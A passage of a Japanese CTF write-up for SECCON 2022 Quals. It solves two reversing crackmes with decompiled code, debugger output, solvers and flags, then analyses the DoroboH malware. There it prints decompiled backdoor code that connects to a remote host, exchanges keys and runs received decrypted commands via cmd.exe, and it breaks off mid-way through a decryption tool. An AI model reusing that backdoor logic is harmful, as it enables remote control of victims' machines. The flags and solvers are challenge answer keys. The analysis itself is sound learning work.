SECCON CTF 2022 Quals に参加しました。そのwrite-up記事です。
コンテスト概要
2022/11/12(土) 14:00 +09:00 - 2022/11/13(日) 14:00 +09:00 の開催期間でした。他ルールはSECCON CTF 2022 ルールページから引用します:
Game Format Jeopardy (中略) Language English (中略) Scoring Rules Scores will be aggregated to per teams. A score of a challenge are determined dynamically - challenges solved by many teams will have fewer points. The Flag format is SECCON{[\x20-\x7e]+}. We will let you know in the challenge description if the flag has a different format.
結果
Reversing問題にひたすら取り組んだ結果、全5問中3問解けました。
環境
WindowsのWSL2(Ubuntu 22.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.2251] c:\>wsl -l -v NAME STATE VERSION Ubuntu Running 2 kali-linux Running 2 docker-desktop-data Running 2 docker-desktop Running 2 * Ubuntu-22.04 Running 2
他ソフト
- IDA Free Version 7.7.220118 Windows x64 (64-bit address size)
- CFF Explorer VII © 2012 Daniel Pistelli
- x64dbgx Version Oct 2020, 23:08:03
- Microsoft Visual Studio Community 2022 (64-bit) - Current Version 17.4.0
WSL2(Ubuntu 22.04)
$ cat /proc/version Linux version 5.10.102.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Mar 2 00:30:59 UTC 2022 $ cat /etc/os-release PRETTY_NAME="Ubuntu 22.04.1 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.1 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=jammy $ python3 --version Python 3.10.6 $ python3 -m pip show pip | grep Version Version: 22.0.2 $ python3 -m pip show pwntools | grep Version Version: 4.8.0 $ python3 -m pip show z3-solver | grep Version Version: 4.8.16.0 $ python3 -m pip show tqdm | grep Version Version: 4.64.0 $ g++ --version | head -2 g++ (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 Copyright (C) 2021 Free Software Foundation, Inc. $ gdb --version | head -2 GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 Copyright (C) 2022 Free Software Foundation, Inc. $ cat ~/peda/README | grep -e 'Version: ' -e 'Release: ' Version: 1.0 Release: special public release, Black Hat USA 2012 $
解けた問題
[welcome] Welcome (700 solves, 50 points)
Welcome to SECCON CTF! The flag is on Discord
公式Discordのannouncementチャンネルに以下の書き込みが行われました:
xrekkusu — Today at 1:55 PM Early gift for you, good luck! SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}
そうです、開始5分前での書き込みです。ともかくフラグを入手できました: SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}
[reversing, warmup] babycmp (176 solves, 79 points)
`baby_mode` = 1 👶
配布ファイルとして、chall.baby
がありました:
$ file * chall.baby: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ded5cc024f968b3087bf5d3df8649d14714e7202, for GNU/Linux 3.2.0, not stripped $
IDAで処理を見てみると、main関数1つで完結している内容でした(64-bitプログラムの場合はFree版IDAでもクラウドベースの逆コンパイルができます):
int __cdecl main(int argc, const char **argv, const char **envp) { const char *pInput; // r12 size_t dwInputLength; // rax size_t dwInputLength_1; // rdi unsigned __int64 dwIndex; // rcx const char *pbyteCurrent; // rsi __int64 v14; // rax unsigned __int64 dwIndex_1; // rdx int dwReturnValue; // r12d __m128i si128; // [rsp+0h] [rbp-68h] char v19[8]; // [rsp+10h] [rbp-58h] BYREF unsigned __int8 byteArrayExpectedValue[36]; // [rsp+20h] [rbp-48h] unsigned __int64 qwCanary; // [rsp+48h] [rbp-20h] qwCanary = __readfsqword(0x28u); _RAX = 0LL; if ( argc <= 1 ) { dwReturnValue = 1; __printf_chk(1LL, "Usage: %s FLAG\n", *argv); } else { pInput = argv[1]; __asm { cpuid } *(_DWORD *)&byteArrayExpectedValue[32] = 0x380A41; strcpy(v19, "N 2022"); *(__m128i *)byteArrayExpectedValue = _mm_load_si128((const __m128i *)&xmmword_3140); *(__m128i *)&byteArrayExpectedValue[16] = _mm_load_si128((const __m128i *)&xmmword_3150); si128 = _mm_load_si128((const __m128i *)"Welcome to SECCO"); dwInputLength = strlen(pInput); dwInputLength_1 = dwInputLength; if ( dwInputLength ) { *pInput ^= 0x57u; dwIndex = 1LL; if ( dwInputLength != 1 ) { do { pbyteCurrent = &argv[1][dwIndex]; v14 = dwIndex / 0x16 + 2 * (dwIndex / 0x16 + (((0x2E8BA2E8BA2E8BA3LL * (unsigned __int128)dwIndex) >> 64) & 0xFFFFFFFFFFFFFFFCLL)); dwIndex_1 = dwIndex++; *pbyteCurrent ^= si128.m128i_u8[dwIndex_1 - 2 * v14]; } while ( dwInputLength_1 != dwIndex ); } pInput = argv[1]; } if ( *(_OWORD *)byteArrayExpectedValue == *(_OWORD *)pInput && *(_OWORD *)&byteArrayExpectedValue[16] == *((_OWORD *)pInput + 1) && *((_DWORD *)pInput + 8) == *(_DWORD *)&byteArrayExpectedValue[32] ) { dwReturnValue = 0; puts("Correct!"); } else { dwReturnValue = 0; puts("Wrong..."); } } if ( qwCanary == __readfsqword(0x28u) ) return dwReturnValue; else return _detect_debugger(); }
内容から以下のことがわかります:
- cpuid命令がものすごく気になりますが、どうやら取得結果を使用していないらしいこと
- コマンドライン引数から入力を得ること
- 入力の各文字を、
'W'(=0x57)
でXORを取り、かつindex依存の何かでもXORを取って変換していること - 変換結果を最後に36バイトの固定値と比較していること
デバッガー経由で起動し、変換が終わった後にブレークさせて、変換結果を観察することにしました:
$ gdb -q chall.baby Reading symbols from chall.baby... (No debugging symbols found in chall.baby) gdb-peda$ b *(main+219) Breakpoint 1 at 0x125b gdb-peda$ run WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW Starting program: /mnt/d/Documents/work/ctf/SECCON_2022/reversing_babycmp/chall.baby WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [----------------------------------registers-----------------------------------] RAX: 0x20 (' ') RBX: 0x756e6547 ('Genu') RCX: 0x28 ('(') RDX: 0x11 RSI: 0x7fffffffe7ec --> 0x743d524553550077 ('w') RDI: 0x28 ('(') RBP: 0x7fffffffe558 --> 0x7fffffffe782 ("/mnt/d/Documents/work/ctf/SECCON_2022/reversing_babycmp/chall.baby") RSP: 0x7fffffffe3e0 ("Welcome to SECCON 2022") RIP: 0x55555555525b (<main+219>: mov rax,QWORD PTR [r12]) R8 : 0x2e8ba2e8ba2e8ba3 R9 : 0x7ffff7fc9040 (<_dl_fini>: endbr64) R10: 0x7ffff7fc3908 --> 0xd00120000000e R11: 0x7ffff7fde680 (<_dl_audit_preinit>: endbr64) R12: 0x7fffffffe7c5 --> 0x77323a38343b3200 ('') R13: 0x555555555180 (<main>: endbr64) R14: 0x0 R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555252 <main+210>: cmp rdi,rcx 0x555555555255 <main+213>: jne 0x555555555220 <main+160> 0x555555555257 <main+215>: mov r12,QWORD PTR [rbp+0x8] => 0x55555555525b <main+219>: mov rax,QWORD PTR [r12] 0x55555555525f <main+223>: mov rdx,QWORD PTR [r12+0x8] 0x555555555264 <main+228>: xor rax,QWORD PTR [rsp+0x20] 0x555555555269 <main+233>: xor rdx,QWORD PTR [rsp+0x28] 0x55555555526e <main+238>: or rdx,rax [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe3e0 ("Welcome to SECCON 2022") 0008| 0x7fffffffe3e8 ("to SECCON 2022") 0016| 0x7fffffffe3f0 --> 0x32323032204e ('N 2022') 0024| 0x7fffffffe3f8 --> 0x7fffffffe769 --> 0x63935273552d16ce 0032| 0x7fffffffe400 --> 0x591e2320202f2004 0040| 0x7fffffffe408 --> 0x2b2d3675357f1a44 0048| 0x7fffffffe410 --> 0x736506d035a1711 0056| 0x7fffffffe418 --> 0x362b470401093c15 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000055555555525b in main () gdb-peda$ x/40bx $r12 0x7fffffffe7c5: 0x00 0x32 0x3b 0x34 0x38 0x3a 0x32 0x77 0x7fffffffe7cd: 0x23 0x38 0x77 0x04 0x12 0x14 0x14 0x18 0x7fffffffe7d5: 0x19 0x77 0x65 0x67 0x65 0x65 0x00 0x32 0x7fffffffe7dd: 0x3b 0x34 0x38 0x3a 0x32 0x77 0x23 0x38 0x7fffffffe7e5: 0x77 0x04 0x12 0x14 0x14 0x18 0x19 0x77 gdb-peda$ x/40bx $rsp+0x68-0x48 0x7fffffffe400: 0x04 0x20 0x2f 0x20 0x20 0x23 0x1e 0x59 0x7fffffffe408: 0x44 0x1a 0x7f 0x35 0x75 0x36 0x2d 0x2b 0x7fffffffe410: 0x11 0x17 0x5a 0x03 0x6d 0x50 0x36 0x07 0x7fffffffe418: 0x15 0x3c 0x09 0x01 0x04 0x47 0x2b 0x36 0x7fffffffe420: 0x41 0x0a 0x38 0x00 0xff 0x7f 0x00 0x00 gdb-peda$
観察結果からフラグを変換するソルバーを書きました:
#!/usr/bin/env python3 import pwn def parse(s): return bytes(map(lambda x: int(x, 16), s.split())) final_value = parse(""" 0x00 0x32 0x3b 0x34 0x38 0x3a 0x32 0x77 0x23 0x38 0x77 0x04 0x12 0x14 0x14 0x18 0x19 0x77 0x65 0x67 0x65 0x65 0x00 0x32 0x3b 0x34 0x38 0x3a 0x32 0x77 0x23 0x38 0x77 0x04 0x12 0x14 0x14 0x18 0x19 0x77 0x00 0x48 0x4f 0x53 0x54 0x54 0x59 0x50 """) expected_value = parse(""" 0x04 0x20 0x2f 0x20 0x20 0x23 0x1e 0x59 0x44 0x1a 0x7f 0x35 0x75 0x36 0x2d 0x2b 0x11 0x17 0x5a 0x03 0x6d 0x50 0x36 0x07 0x15 0x3c 0x09 0x01 0x04 0x47 0x2b 0x36 0x41 0x0a 0x38 0x00 0xff 0x7f 0x00 0x00 0x00 0x97 0x41 0xda 0xf3 0x1b 0x9d 0x8c """) print(pwn.xor(b"W", pwn.xor(final_value, expected_value)))
実行しました:
$ ./solve.py b'SECCON{y0u_f0und_7h3_baby_flag_YaY}C\xbc0N W\x88Y\xde\xf0\x18\x93\x8b' $ ./chall.baby SECCON{y0u_f0und_7h3_baby_flag_YaY} Correct! $
フラグを入手できました: SECCON{y0u_f0und_7h3_baby_flag_YaY}
[reversing] eguite (86 solves, 107 points)
Crack me. The flag string inside "SECCON{...}" is all lowercase. * "eguite.exe" and "eguite.elf" are the same program. You can analyse whichever you prefer.
配布ファイルとして、eguite.elf
とeguite.exe
がありました:
$ file * eguite.elf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=23f794afc7096688d144a90b46a04d93db7ca9ef, for GNU/Linux 3.2.0, not stripped eguite.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows $
同機能のバイナリが複数環境形式で提供されるのは珍しいと思いながらIDAで見ていると、Rust製のようでした。実行してみると、GUIアプリケーションであり、ライセンスキーを入力してボタンをクリックすると正誤を知らせてくれるらしいものでした。
stringsタブを見ていると、各種Rustソースファイルのフルパスも含まれており、egui
というGUIライブラリを使っているようでした(問題名の一部です、te
は何が出典でしょう?)。また、src/main.rs
文字列があったので参照場所を調べると、ボタンクリックイベント時のハンドラーらしい箇所が見つかりました:
// eguite.exe .text:000000000040BA10 _ZN6eguite7Crackme7onclick17hb69201652eb2ef3bE bool __fastcall eguite::Crackme::onclick::hb69201652eb2ef3b(__int64 a1, __int64 a2, __int64 a3, __int64 a4) { // 変数定義省略 if ( *(_QWORD *)(a4 + 144) != 43LL ) return 0; pStrInput = *(char **)(a4 + 128); if ( *(_DWORD *)pStrInput ^ 'CCES' | *(_DWORD *)(pStrInput + 3) ^ '{NOC' || pStrInput[42] != '}' ) return 0; pStrEnd = pStrInput + 43; dwCounter19 = 19LL; pStrCurrent = pStrInput; do { // utf-8でのバイト数を調べているような分岐、省略 --dwCounter19; } while ( dwCounter19 ); if ( pStrCurrent == pStrEnd ) goto labelPanic2; pStrAfter19Char = (unsigned __int8)*pStrCurrent; // utf-8でのバイト数を調べているような分岐、省略 if ( pStrAfter19Char != '-' ) // 20文字目は「-」 return 0; dwCouner26 = 26LL; pStrCurrent_1 = pStrInput; do { // utf-8でのバイト数を調べているような分岐、省略 --dwCouner26; } while ( dwCouner26 ); if ( pStrCurrent_1 == pStrEnd ) goto labelPanic3; runeAfter26Chars = (unsigned __int8)*pStrCurrent_1; // utf-8でのバイト数を調べているような分岐、省略 if ( runeAfter26Chars != '-' ) return 0; dwCounter33 = 33LL; pstrCurrent = pStrInput; do { // utf-8でのバイト数を調べているような分岐、省略 --dwCounter33; } while ( dwCounter33 ); if ( pstrCurrent == pStrEnd ) goto labelPanic4; runeAfter33Chars = (unsigned __int8)*pstrCurrent; // utf-8でのバイト数を調べているような分岐、省略 if ( runeAfter33Chars != '-' ) return 0; pStrInput_1 = pStrInput; pStrEnd_1 = pStrInput + 43; // - で区切られた各パートをfrom_str_radixで数値化しているような処理、省略 result = 0; if ( qwBlock2 + qwBlock1 == 0x8B228BF35F6ALL && qwBlock3 + qwBlock2 == 0xE78241 && qwBlock4 + qwBlock3 == 0xFA4C1A9FLL && qwBlock4 + qwBlock1 == 0x8B238557F7C8LL ) { return (qwBlock4 ^ qwBlock2 ^ qwBlock3) == 0xF9686F4DLL; } return result; }
省略箇所が結構な長さなので読解に時間がかかりましたが、以下の処理を行っているようです:
- 最初にフラグ文字数と、
SECCON{
、}
の位置を検証 - 途中で3箇所に
-
文字があることを検証 - 最後に4箇所の16進数数値を検証
なお、-
位置の確認や、最後の16進数の検証箇所で4分割されたどの部分がどの変数に入るかの確認のためにデバッガー実行しようと試みましたが、GUIアプリケーションであるからかWSLでは実行できませんでした:
$ ./eguite.elf thread 'main' panicked at 'Failed to initialize any backend! Wayland status: XdgRuntimeDirNotSet X11 status: XOpenDisplayFailed', /home/ptr/.cargo/registry/src/github.com-1ecc6299db9ec823/winit-0.27.5/src/platform_impl/linux/mod.rs:719:9 note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace Aborted $
今回せっかくELFだけでなくEXEも提供されているので、EXE側をデバッガー実行することにしました。デバッガー実行時のブレークポイント設定をやりやすくするために、CFFExplorerでEXEを開き、OptionalHeaderのDllCharasteristicsからDLL can move
をOFFにして保存して、それをx64dbgで実行しました。
確認すると、最後の数値検証まで突入できる入力はSECCON{1234567890ab-123456-123456-12345678}
形式の文字列と分かり、4箇所のどの部分がどのレジスタに入るかも判明しました。後は最後の数値条件を満たす組み合わせを調べるソルバーを書きました:
#!/usr/bin/env python3 import tqdm def solve(): for Block2 in tqdm.trange(0x1000000): Block1 = 0x8B228BF35F6A - Block2 Block3 = 0xE78241 - Block2 Block4 = 0xFA4C1A9F - Block3 if not (0 <= Block1 <= 0xFFFFFFFFFFFF): continue if not (0 <= Block3 <= 0xFFFFFF): continue if not (0 <= Block4 <= 0xFFFFFFFF): continue if not (Block4 + Block1 == 0x8B238557F7C8): continue if not (Block2 ^ Block3 ^ Block4 == 0xF9686F4D): continue print(f"Find! {Block2=}") print(f"SECCON{{{Block1:012x}-{Block2:06x}-{Block3:06x}-{Block4:08x}}}") return solve()
実行しました:
$ ./solve.py 35%|██ | 5827254/16777216 [00:02<00:04, 2618362.53it/s] Find! Block2=5929746 SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370} 35%|██ | 5929746/16777216 [00:02<00:04, 2297683.67it/s] $
フラグを入手できました: SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}
ところでソルバーを書くとき、せっかくなのでz3-solverを使おうと最初は思っていました。しかし実行が全然終わってくれず、上述のループ全探索に書き直して実行したほうが早かったです。供養として残しておきます:
#!/usr/bin/env python3 # WARNING! THIS SCRIPT WILL SPEND VERY LONG TIME! import z3 Block1 = z3.Int("Block1") Block2 = z3.Int("Block2") Block3 = z3.Int("Block3") Block4 = z3.Int("Block4") s = z3.Solver() s.add(Block1 >= 0) s.add(Block2 >= 0) s.add(Block3 >= 0) s.add(Block4 >= 0) s.add(Block1 <= 0xFFFFFFFFFFFF) s.add(Block2 <= 0xFFFFFF) s.add(Block3 <= 0xFFFFFF) s.add(Block2 + Block1 == 0x8B228BF35F6A) s.add(Block3 + Block2 == 0xE78241) s.add(Block4 + Block3 == 0xFA4C1A9F) s.add(Block4 + Block1 == 0x8B238557F7C8) s.add(z3.Int2BV(Block2, 8*8) ^ z3.Int2BV(Block3, 8*8) ^ z3.Int2BV(Block4, 8*8) == 0xF9686F4D) if s.check() == z3.sat: m = s.model() print(m) print(s)
[reversing, forensics] DoroboH (27 solves, 179 points)
I found a suspicious process named "araiguma.exe" running on my computer. Before removing it, I captured my network and dumped the process memory. Could you investigate what the malware is doing? The program is a malware. Do not run it unless you understand its behavior.
配布ファイルとして、README、EXE、PCAP、DMPがありました。EXEはマルウェアとのことですが二重拡張子なので、誤って実行する可能性を低くしてくださっています:
$ file * README.txt: ASCII text araiguma.DMP: Mini DuMP crash report, 15 streams, Mon Oct 31 13:53:13 2022, 0x421826 type araiguma.exe.bin: PE32+ executable (console) x86-64, for MS Windows network.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144) $ cat README.txt The following diagram discribes what each file is. Do not run araiguma.exe unless you fully understand the logic. +-- Victim Machine --+ +-- Attacker Machine --+ | +--------------+ | | +-------------+ | | | araiguma.exe |<------------->| kitsune.exe | | | +--------------+ | ^ | +-------------+ | | ^ | | | | +--------|-----------+ | +----------------------+ | | Memory | | Packet Dump | | Capture | | [ araiguma.DMP ] [ network.pcapng ] $
まずはEXEをIDAで見ていきました。読み込み時にDwarf情報があると聞いて驚きましたが、mingw製のようです。TLSコールバックもありましたが悪いことはしていなさそうなので、真っ当にmain関数を読解しました:
int __cdecl main(int argc, const char **argv, const char **envp) { DWORD dwBytes; // [rsp+38h] [rbp-48h] BYREF MACRO_CALG dwAlgId; // [rsp+3Ch] [rbp-44h] BYREF struct sockaddr_in target_sock_addr_in; // [rsp+40h] [rbp-40h] BYREF struct WSAData WSAData; // [rsp+50h] [rbp-30h] BYREF char buf[4]; // [rsp+1F0h] [rbp+170h] BYREF DWORD dwKeyLength; // [rsp+1F4h] [rbp+174h] BYREF HCRYPTKEY hCryptoKeyExchanged; // [rsp+1F8h] [rbp+178h] BYREF HCRYPTKEY hCryptoKeyToSend; // [rsp+200h] [rbp+180h] BYREF HCRYPTPROV hProv; // [rsp+208h] [rbp+188h] BYREF CRYPT_INTEGER_BLOB cryptIntegerBlobG; // [rsp+210h] [rbp+190h] BYREF CRYPT_INTEGER_BLOB cryptIntegerBlobP; // [rsp+220h] [rbp+1A0h] BYREF LPCSTR lpParameters; // [rsp+238h] [rbp+1B8h] BYTE *pBytesReceivedKey; // [rsp+240h] [rbp+1C0h] SOCKET hSocket; // [rsp+248h] [rbp+1C8h] BYTE *pExportedDiffieHelmanKey; // [rsp+250h] [rbp+1D0h] HANDLE hHeap; // [rsp+258h] [rbp+1D8h] _main(); // グローバル変数のコンストラクターの呼び出し等をしていますが登録内容なしです cryptIntegerBlobP.cbData = 64; cryptIntegerBlobP.pbData = (BYTE *)&g_P; cryptIntegerBlobG.cbData = 64; cryptIntegerBlobG.pbData = (BYTE *)&g_G; hHeap = GetProcessHeap(); if ( !hHeap ) return 1; if ( !_IAT_start__( // 何故か_IAT_startになっていますが、実際はCryptAcquireContextA &hProv, 0i64, "Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider", PROV_DSS_DH, CRYPT_VERIFYCONTEXT) ) return 1; if ( CryptGenKey(hProv, CALG_DH_EPHEM, 0x2000041u, &hCryptoKeyToSend)// "Ephemeral" Diffie-Hellman key. // dwFlags: (ビット数?) | CRYPT_NO_SALT(0x40) | CRYPT_EXPORTABLE(0x1) && CryptSetKeyParam(hCryptoKeyToSend, KP_P, (const BYTE *)&cryptIntegerBlobP, 0) && CryptSetKeyParam(hCryptoKeyToSend, KP_G, (const BYTE *)&cryptIntegerBlobG, 0) && CryptSetKeyParam(hCryptoKeyToSend, KP_X, 0i64, 0) )// ランダムに生成させている { if ( CryptExportKey(hCryptoKeyToSend, 0i64, PUBLICKEYBLOB, 0, 0i64, &dwKeyLength) ) { pExportedDiffieHelmanKey = (BYTE *)HeapAlloc(hHeap, 0, dwKeyLength); if ( pExportedDiffieHelmanKey ) { if ( CryptExportKey(hCryptoKeyToSend, 0i64, PUBLICKEYBLOB, 0, pExportedDiffieHelmanKey, &dwKeyLength) )// PublicKey:=G^X%P { WSAStartup(2u, &WSAData); hSocket = socket(2, 1, 0); target_sock_addr_in.sin_family = AF_INET; target_sock_addr_in.sin_port = htons(8080u); inet_pton(AF_INET, "192.168.3.6", &target_sock_addr_in.sin_addr); if ( !connect(hSocket, (const struct sockaddr *)&target_sock_addr_in, 16) ) { send(hSocket, (const char *)&dwKeyLength, 4, 0);// 送信データ: DWORD length; BYTE key[length]; send(hSocket, (const char *)pExportedDiffieHelmanKey, dwKeyLength, 0); recv(hSocket, buf, 4, 0); // 受信データ: DWORD length; BYTE key[length]; pBytesReceivedKey = (BYTE *)HeapAlloc(hHeap, 0, *(unsigned int *)buf); if ( pBytesReceivedKey ) { recv(hSocket, (char *)pBytesReceivedKey, *(int *)buf, 0); if ( CryptImportKey(hProv, pBytesReceivedKey, *(DWORD *)buf, hCryptoKeyToSend, 0, &hCryptoKeyExchanged) ) { dwAlgId = CALG_RC4; if ( CryptSetKeyParam(hCryptoKeyExchanged, KP_ALGID, (const BYTE *)&dwAlgId, 0) ) { memset(pBytesReceivedKey, 0, *(unsigned int *)buf); while ( recv(hSocket, (char *)&dwBytes, 4, 0) == 4 ) { lpParameters = (LPCSTR)HeapAlloc(hHeap, 0, dwBytes); if ( !lpParameters ) break; recv(hSocket, (char *)lpParameters, dwBytes, 0); if ( !CryptDecrypt(hCryptoKeyExchanged, 0i64, 1, 0, (BYTE *)lpParameters, &dwBytes) ) { HeapFree(hHeap, 0, (LPVOID)lpParameters); break; } ShellExecuteA(0i64, "open", "cmd.exe", lpParameters, 0i64, 0); memset((void *)lpParameters, 0, dwBytes); HeapFree(hHeap, 0, (LPVOID)lpParameters); } } } HeapFree(hHeap, 0, pBytesReceivedKey); } closesocket(hSocket); } WSACleanup(); } HeapFree(hHeap, 0, pExportedDiffieHelmanKey); } } CryptDestroyKey(hCryptoKeyToSend); } CryptReleaseContext(hProv, 0); return 0; }
以下の処理を行っています:
192.168.3.6:8080
へ接続します。P
,G
には固定値を、X
にはシステムにランダムに生成させた値を使用して、Diffie-Hellman鍵交換を行います。鍵交換の手順は Diffie-Hellman Keys - Win32 apps | Microsoft Learn に従っているようです。- 交換した鍵でRC4ストリームを初期化します。
- 以降、受信したバイト列をRC4で復号し、
cmd.exe
経由で実行します。(実行結果の送信はありません)
送受信内容はPCAPに含まれているので入手できますが、送受信ともにG^X%P
であるため、RC4を復号するためには何とかしてXを探し出す必要があります。
手元で同様のプログラムを作成して実行し、メモリダンプを作成して様子を確認しました。P
, G
は近くに存在しましたが、X
は遠く離れた1箇所にのみ存在するようで、DUMPファイルからピンポイントでXを探すことは難しそうに思いました。しばらく悩んでググったり試行錯誤したりしていました。(WinCryptoのMicrosoftドキュメントは非常に貧弱です。CryptExportKeyでの出力結果BLOBのデータ構造は、RSAの場合は Base Provider Key BLOBs - Win32 apps | Microsoft Learn に記述されていましたが、今回のDiffi-Hellmanの場合は見つけられませんでした。)
しばらく悩んでいると「DUMPファイルからXを全探索」という天啓が降りてきました。Diffie-Hellmanの計算そのものは単純ですが、変なところでハマるのも嫌なのでWinCryptoに全力で頼る方向にしました。また、とりあえず実装して実行すると探索完了まで24時間かかりそうだったので、探索範囲を分けて複数プロセスで並列探索する方針にしました:
// Compiles with /std:c++latest #include <iostream> #include <fstream> #include <string> #include <string_view> #include <vector> #include <algorithm> #include <ranges> #include <span> #include <cstdlib> #include <Windows.h> #include <wincrypt.h> #pragma comment(lib, "Advapi32.lib") using namespace std::string_view_literals; constexpr BYTE sended_key[] = { 0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00, 0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00, 0x46, 0xa7, 0x17, 0xb1, 0xd5, 0x45, 0x37, 0xe8, 0x62, 0xf6, 0xba, 0x6f, 0x80, 0x9a, 0xed, 0x00, 0x21, 0xaf, 0xc4, 0x4b, 0x8c, 0x95, 0xc9, 0xbe, 0xc8, 0x09, 0x51, 0x8f, 0x10, 0x00, 0x1c, 0xc9, 0x64, 0x89, 0xad, 0x89, 0x14, 0xe1, 0xd4, 0xe0, 0x08, 0xaa, 0x60, 0xbe, 0x8f, 0xe3, 0x6f, 0x9b, 0x15, 0x6e, 0x35, 0x89, 0x40, 0xbb, 0xc1, 0xaa, 0x70, 0x90, 0x98, 0xd9, 0x39, 0x57, 0xe6, 0x37 }; constexpr BYTE recieved_key[] = { 0x06, 0x02, 0x00, 0x00, 0x02, 0xaa, 0x00, 0x00, 0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00, 0x28, 0x8f, 0x76, 0x74, 0x9e, 0xc2, 0x0b, 0x9a, 0xb1, 0x8c, 0x61, 0x84, 0x18, 0xae, 0x9a, 0x70, 0x72, 0x26, 0x18, 0xdc, 0x68, 0x5e, 0x66, 0x7f, 0xc0, 0xc1, 0x9b, 0x90, 0x6a, 0x6a, 0xa3, 0xa5, 0x71, 0xf4, 0x73, 0xea, 0x0e, 0xaa, 0xda, 0x26, 0x9f, 0x29, 0x86, 0x0d, 0x55, 0xdd, 0xcb, 0xa0, 0x36, 0x7e, 0xe6, 0xf7, 0xa1, 0xfa, 0xc8, 0x3d, 0x2d, 0x73, 0x95, 0x48, 0x29, 0x30, 0xb3, 0xb8 }; constexpr BYTE received_command1[] = { 0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc, 0x9a, 0x71, 0xb1, 0x07, 0x02, 0x24, 0x21, 0xe9, 0x07, 0x34, 0x0d, 0xe0, 0xf9, 0xa4, 0xc5, 0x40, 0x61, 0x1f, 0x2d, 0x95, 0xb5, 0x60, 0xf8, 0x43, 0x5f, 0xdb, 0x44, 0xec, 0xb3, 0x88, 0x76, 0xdd, 0xab, 0x1f, 0xe3, 0xff, 0xca, 0xf2, 0x6a, 0xeb, 0x65, 0xb7, 0xf7, 0xf4, 0xd1, 0xd0, 0xbc, 0x6c, 0xee, 0xc5, 0x21, 0xc7, 0x7c, 0x27, 0xcd, 0x0f, 0xfb, 0xa4, 0xa9, 0xd0, 0x07, 0x22, 0x8c, 0x47, 0x82, 0x88, 0xb9, 0x06, 0xb6, 0x4d, 0x83, 0x2b, 0xe9, 0x82, 0x2e, 0x12, 0x3e, 0xc4, 0xa5, 0xab, 0xbc, 0x15, 0x5a, 0x24, 0xb6, 0x3a, 0x8c, 0x65, 0x7c, 0x05, 0xff, 0x61, 0x48, 0x12, 0x4f }; constexpr BYTE received_command2[] = { 0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc, 0x9a, 0x6b, 0xd4, 0x36, 0x24, 0x0c, 0x1d, 0xf7, 0x3e, 0x27, 0x14, 0xbf, 0xab, 0xae, 0xfb, 0x7d, 0x34, 0x06, 0x35, 0xdf, 0x91, 0x74, 0xe2, 0x47, 0x19, 0xdd, 0x3b, 0xcc, 0xe8, 0x95, 0x72, 0xdd, 0xad, 0x49, 0xac, 0x8c, 0x93, 0xf1, 0x22, 0xaa, 0x61, 0xad, 0xa3, 0xf3, 0xcb, 0x8a, 0xa1, 0x28, 0x8b, 0xab, 0x33, 0x95, 0x71, 0x69, 0xfd, 0x04, 0xc4, 0x82, 0xa7, 0x97, 0x55, 0x6f, 0xf0, 0x67, 0xcc, 0xb2, 0xb0, 0x31, 0xb6, 0x4c, 0x9b, 0x03, 0xe5, 0x86, 0x14, 0x20, 0x15, 0xd5, 0xbf, 0xa6, 0xa1, 0x19, 0x4b, 0x0c, 0xb9, 0x39, 0x83, 0x2c, 0x26, 0x09, 0xf3, 0x18, 0x4f, 0x18 }; [[noreturn]] void PrintMessageAndLastErrorAndDie(std::string_view str) { const auto lastError = GetLastError(); std::cout << str << std::endl; std::cout << "LastError: "sv << lastError << std::endl; LPSTR pStrFormatted = nullptr; size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, lastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&pStrFormatted, 0, NULL); std::cout << "Description: "sv << pStrFormatted << std::endl; LocalFree(pStrFormatted); std::exit(1); } void DecryptAndPrint(HCRYPTKEY hKey, const BYTE* pEncrypted, DWORD dwEncryptLength) { std::vector<BYTE> buffer(pEncrypted, pEncrypted + dwEncryptLength); DWORD len = (DWORD)buffer.size(); if (!CryptDecrypt(hKey, 0, TRUE, 0, buffer.data(), &len)) { PrintMessageAndLastErrorAndDie("Failed to 